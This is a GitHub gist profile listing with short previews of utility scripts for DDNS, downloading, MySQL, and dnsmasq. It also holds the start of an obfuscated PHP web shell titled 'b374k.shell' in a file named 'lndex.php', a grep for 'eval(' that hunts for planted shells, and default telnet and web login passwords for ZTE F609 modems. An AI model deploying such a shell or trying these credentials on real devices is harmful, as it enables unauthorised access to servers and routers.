Skip to content

Instantly share code, notes, and snippets.

View ndunks's full-sized avatar
💭
I'm programer and I have wife 😄

Mochamad Arifin ndunks

💭
I'm programer and I have wife 😄
View GitHub Profile
@ndunks
ndunks / paste-symlink.ps1
Created September 30, 2017 06:25
Windows 10 Add Copy-Paste as Symbolic Link or Junction
@ndunks
ndunks / downloader.php
Created October 27, 2017 05:02
PHP Curl Downloader with resume support
<?php
set_time_limit(0);
ignore_user_abort(true);
$url = "http://web.shit/backup.zip";
$ch = curl_init($url);
$to_file = 'web.zip';
$opt = array();
if(is_file($to_file))
{
@ndunks
ndunks / ddns-update
Last active January 17, 2021 03:23
Namecheap DDNS Updater Bash Script
# make it executable `chmod +x ddns-update`
# move it path `mv ddns-update /usr/bin/`
# setup cronjob for every 15 minutes `crontab -e`
# */15 * * * * ddns-update >/dev/null 2>&1
# dont forget to change your own domain & password
# uncomment if you want internet connection check before running
#while ! ping -c 1 -W 1 8.8.8.8; do
# echo "DDNS-UPDATE: Waiting internet connection.."
# sleep 2
@ndunks
ndunks / lndex.php
Last active November 28, 2017 13:58
b374k.shell
<?php $GLOBALS[
'pass'
]
=
'0f3b857e0125444e99a15f41c07eb315d26a00f0';
$FF
='cre'.
'ate'.
'_fun'.
'cti'.
@ndunks
ndunks / DB.php
Created December 8, 2017 08:38
PHP DB Class for MySQL
<?php
class DB
{
var $con = null;
var $result = null;
var $has_result = false;
var $error = false;
var $last_query;
var $affected_rows;
for dir in `find ~/apps/* -maxdepth 0 -type d`
do
grep -Rl --include "*.php" "eval(" "$dir/public/"
done
@ndunks
ndunks / ZTE-F609.md
Last active September 14, 2024 10:17
Manual help untuk Modem Indihome TELNET ZTE F609

Telnet Manual Modem Indihome

Saya sering lupa, jadi tulis aja di gist.

Login Root via Telnet

telnet 192.168.1.1
login: root

pass : Zte521

@ndunks
ndunks / modem-indihome-zte
Created March 21, 2018 20:28
Default login telnet/webuser modem indihome ZTE F609
webuser
=======
admin:admin
admin:Telkomdso123
user:user
telnet
======
root:Zte521
@ndunks
ndunks / zte_extract.py
Created March 23, 2018 02:09
Modem Indihome ZTE F609 Config Extract and Repack
#!/usr/bin/env python
# https://reverseengineering.stackexchange.com/a/13395
import sys
import binascii
import struct
import zlib
if (len(sys.argv) <= 1):
print('USAGE:\n%s [configBak.cfg|config.bin]' % sys.argv[0])
exit(1)
@ndunks
ndunks / dnsmasq-wlan
Created May 5, 2018 04:24
Start dnsmaq when connected to wifi
#!/bin/bash
# Write file /etc/network/if-up.d/ and link to /etc/network/if-post-down.d/
# by default, scripts on that directories will be triggered by NetworkManager
PID="/var/run/dnsmasq/wlan.pid"
WLAN="wlan0"
DNSMASQCONF="/etc/dnsmasq.conf"
IP=$(ifconfig $WLAN | sed -En 's/.*inet ([0-9\\.]+) .+/\1/p')
ME="$IFACE-dnsmasq:"